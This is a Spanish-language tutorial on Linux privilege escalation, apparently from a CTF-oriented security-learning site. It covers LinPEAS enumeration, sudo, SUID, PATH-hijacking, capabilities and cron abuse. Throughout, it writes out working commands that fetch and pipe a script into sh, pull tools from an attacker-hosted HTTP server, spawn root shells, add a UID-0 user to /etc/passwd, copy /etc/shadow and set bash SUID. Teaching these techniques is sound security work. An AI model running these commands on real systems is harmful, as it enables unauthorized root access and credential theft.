← Volver al inicio
Privilege Escalation LinPEAS SUID Sudo Cron Linux
Avanzado

Escalada de Privilegios en Linux

15/07/2024

La escalada de privilegios consiste en explotar configuraciones incorrectas o vulnerabilidades para pasar de un usuario con pocos permisos (www-data, usuario normal) a root. Es una fase crítica en cualquier intrusión real o CTF.

1. Enumeración automática con LinPEAS

# Descargar y ejecutar LinPEAS desde el objetivo:
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Transferir desde tu máquina atacante (servidor HTTP):
python3 -m http.server 8000
# En víctima:
wget http://TU_IP:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh 2>/dev/null | tee /tmp/linpeas_output.txt

2. Sudo mal configurado (Sudoers)

A menudo, los administradores permiten a los usuarios ejecutar ciertos comandos como root sin necesidad de contraseña para automatizar tareas. Si esos comandos tienen funciones de ejecución anidadas, podemos saltar a una shell de root.

# Ver qué puede ejecutar el usuario actual como sudo:
sudo -l

# (ALL) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \; -quit

# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# una vez dentro de less, escribe: !bash

🔴 Simulador de Terminal (CTF)

He preparado una terminal web que simula el acceso inicial a una máquina Linux como usuario www-data. Averigua qué permisos tienes y explótalos para conseguir privilegios de root.

>_ INICIAR RETO CTF 06

3. Binarios SUID y SGID explotables

Los binarios con el bit SUID activo se ejecutan con los permisos de su propietario (generalmente root) sin importar quién los lance. El portal GTFOBins es tu mejor aliado aquí.

# Buscar binarios con bit SUID activado:
find / -perm -4000 -type f 2>/dev/null

# /usr/bin/cp (Sobrescribir contraseñas):
openssl passwd -1 hackeado123
echo "hacker:HASH_GENERADO:0:0:root:/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su hacker

4. PATH Hijacking (Secuestro del PATH)

Si un binario SUID ejecuta comandos internamente (como ls o cat) sin usar su ruta absoluta (/bin/ls), podemos crear nuestro propio ls malicioso y alterar el PATH para que Linux lo ejecute como root.

# 1. Crear el binario falso en /tmp
echo '/bin/bash -p' > /tmp/ls
chmod +x /tmp/ls

# 2. Secuestrar el PATH colocando /tmp el primero
export PATH=/tmp:$PATH

# 3. Ejecutar el binario SUID vulnerable que llama a "ls"
./programa_vulnerable

5. Linux Capabilities

Las Capabilities son una alternativa moderna a SUID que otorga permisos de root fragmentados (como poder abrir puertos o leer archivos concretos) a binarios específicos. Son más sigilosas e igual de peligrosas.

# Listar binarios con capabilities:
getcap -r / 2>/dev/null

# Ejemplo: Si python o tar tienen cap_dac_read_search+ep, 
# pueden leer cualquier archivo del sistema como /etc/shadow sin ser root.
tar -cvf shadow.tar /etc/shadow

6. Tareas cron y scripts con permisos débiles

# Listar crons del sistema:
cat /etc/crontab

# Si un cron ejecuta un script de root que es escribible por nosotros:
echo 'chmod +s /bin/bash' >> /ruta/al/script.sh
# Esperar a que se ejecute el cron, luego:
/bin/bash -p